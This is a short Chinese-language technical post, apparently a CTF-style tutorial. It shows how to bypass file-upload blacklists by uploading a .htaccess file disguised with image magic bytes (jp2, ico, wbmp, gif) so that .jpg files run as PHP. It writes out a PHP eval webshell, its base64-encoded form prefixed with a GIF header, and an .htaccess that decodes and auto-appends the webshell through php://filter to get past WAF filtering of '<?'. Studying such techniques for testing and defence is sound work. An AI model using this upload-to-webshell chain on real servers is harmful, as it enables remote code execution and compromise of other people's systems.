文件上传--利用.htaccess绕过黑名单
前言
在很多时候有限制文件上传的类型,而黑名单ban了很多相关的后缀,如果没有警用.htaccee
那么就能触发getshell
.htaccess
可以把.jpg
解析成php
语法
AddType application/x-httpd-php .jpg
PHP5
图像相关的信息检测常用getimagesize( )函数,那么对于.htaccess
文件来说,注释有#
和%00
这2个符号,图片头没有#
,但是有%00
的文件
比如
jp2
格式如下
00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必须)
在图中width
是C6
hight
是6F
,修改对应位置的值即可返回对应的长度
ico
格式如下
00 00 01 00(必须) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20
所以如果不限制大小可以在.htaccess
文件面前加上
aaaaaa
然后用winhex改成
00 00 01 00 0a 0d
bwmp
格式如下
00 00 01 01
表示width
为1
, hight
为1
00 00 8A 39 8A 39
表示width
为1337
, hight
为1337
如果大小值>80
,那么就会取2位,否则只会取1位
有了上面的几种情况就可以上传.htaccess
文件,并符合其语法
接下来上传个图片马即可
然后直接访问图片就被解析成php代码了
PHP7以后
有时候有这种情况把<?
给waf了,在php7
之前可以按上面的<script language>来达到绕过<?php
这种情况,但是在php7
之后这些标签都是被移除了,因此可以靠base64解码来达到目的
<?php eval($_POST[1]); ?>
base64编码后
PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
加上文件头,这里用wbmp
00 00 01 01
因为base64是4个一组,而上面的wbmp头文件刚好4个字节,所以不用补充,如果是png则需要补充很多...
这里4个字节的图片头建议用gif,刚好4个字节
47 49 46 38
所以形成1.gif
的base64
为
GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
接下来.htaccess
的格式是
00 00 01 01(进hex进制里面修改下)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"
这里有个2个坑
坑1:因为是黑名单,如果上传的文件是能被服务器解析的比如jpg
能被解析成图片而.abc
这样的后缀不会被解析,这里有个区别
.jpg
这种能被解析的文件,在被文件包含时文件头要和扩展名一致才能解析
.abc
这种不会被解析的文件,在被文件包含时文件头任意即可
坑2:在Server API
为CGI/FastCGI
时以上的.htaccess
脚本是报500
错的,我在windows
下的phpstudy
就是这种解析方式。
但是在linux
下一般情况是Server API
为Apache 2.0 Handler
,因此以上的.htaccess
是能够被解析的
参考链接:
https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg
https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/